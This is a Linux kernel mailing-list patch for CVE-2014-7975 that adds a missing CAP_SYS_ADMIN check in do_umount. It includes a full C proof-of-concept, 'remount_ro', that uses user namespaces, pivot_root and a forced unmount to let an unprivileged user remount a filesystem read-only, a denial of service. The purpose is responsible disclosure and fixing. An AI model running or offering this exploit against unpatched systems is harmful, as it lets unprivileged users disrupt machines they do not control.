Accessing do_remount_sb should require global CAP_SYS_ADMIN, but only one of the two call sites was appropriately protected. Fixes CVE-2014-7975. Cc: stable@xxxxxxxxxxxxxxx Signed-off-by: Andy Lutomirski <luto@xxxxxxxxxxxxxx> --- *Sigh* Build the thing below and do something like: $ cd /dev/pts $ remount_ro /dev /* remount_ro.c */ /* Copyright (c) 2014 Andrew Lutomirski. All rights reserved. */ #define _GNU_SOURCE #include <unistd.h> #include <sched.h> #include <sys/types.h> #include <sys/wait.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <err.h> #include <sys/mount.h> #include <sys/syscall.h> #include <sys/stat.h> #ifndef CLONE_NEWUSER #define CLONE_NEWUSER 0x10000000 #endif static void set_map(const char *path, uid_t outer) { char buf[1024]; int fd = open(path, O_WRONLY); if (fd == -1) err(1, "open map"); sprintf(buf, "0 %ld 1", (long)outer); if (write(fd, buf, strlen(buf)) != strlen(buf)) err(1, "write map"); close(fd); } int main(int argc, char **argv) { printf("remount_ro, a DoS by Andy Lutomirski\n"); if (argc != 2) { printf("Usage: remount_ro TARGET_MOUNT\n"); return 1; } int origroot_fd; long uid = geteuid(), gid = getegid(); char origcwd[16384]; const char *target = argv[1]; if (unshare(CLONE_NEWUSER) != 0) err(1, "unshare(CLONE_NEWUSER)"); if (unshare(CLONE_NEWNS) != 0) err(1, "unshare(CLONE_NEWNS)"); set_map("/proc/self/uid_map", uid); set_map("/proc/self/gid_map", gid); if (mount("/", "/", NULL, MS_REC | MS_PRIVATE, NULL) != 0) err(1, "MS_PRIVATE"); // Minimize required thought: just chroot to the target first. if (chroot(target) != 0) err(1, "chroot to target"); // Big song and dance to clear MNT_LOCKED on "/". origroot_fd = open("/", O_RDONLY); if (origroot_fd == -1) err(1, "open"); if (!getcwd(origcwd, sizeof(origcwd))) err(1, "getcwd"); if (!strncmp("(unreachable)", origcwd, 13)) errx(1, "current directory must be under the target directory"); if (!strcmp(origcwd, "/")) errx(1, "don't run from the target directory"); if (mount("temporary_root", ".", "tmpfs", 0, NULL) != 0) err(1, "mount"); if (chdir(origcwd) != 0) err(1, "chdir"); if (syscall(SYS_pivot_root, ".", ".") != 0) err(1, "pivot_root"); if (fchdir(origroot_fd) != 0) err(1, "fchdir"); close(origroot_fd); if (chroot(".") != 0) err(1, "chroot"); // That was fun. Exploit time. if (umount2("/", MNT_FORCE) != 0) err(1, "umount"); printf("Seems to have worked. Have fun.\n"); return 0; } fs/namespace.c | 2 ++ 1 file changed, 2 insertions(+) diff --git a/fs/namespace.c b/fs/namespace.c index ef42d9bee212..7f67b463a5b4 100644 --- a/fs/namespace.c +++ b/fs/namespace.c @@ -1356,6 +1356,8 @@ static int do_umount(struct mount *mnt, int flags) * Special case for "unmounting" root ... * we just try to remount it readonly. */ + if (!capable(CAP_SYS_ADMIN)) + return -EPERM; down_write(&sb->s_umount); if (!(sb->s_flags & MS_RDONLY)) retval = do_remount_sb(sb, MS_RDONLY, NULL, 0); -- 1.9.3 -- To unsubscribe from this list: send the line "unsubscribe stable" in the body of a message to majordomo@xxxxxxxxxxxxxxx More majordomo info at http://vger.kernel.org/majordomo-info.html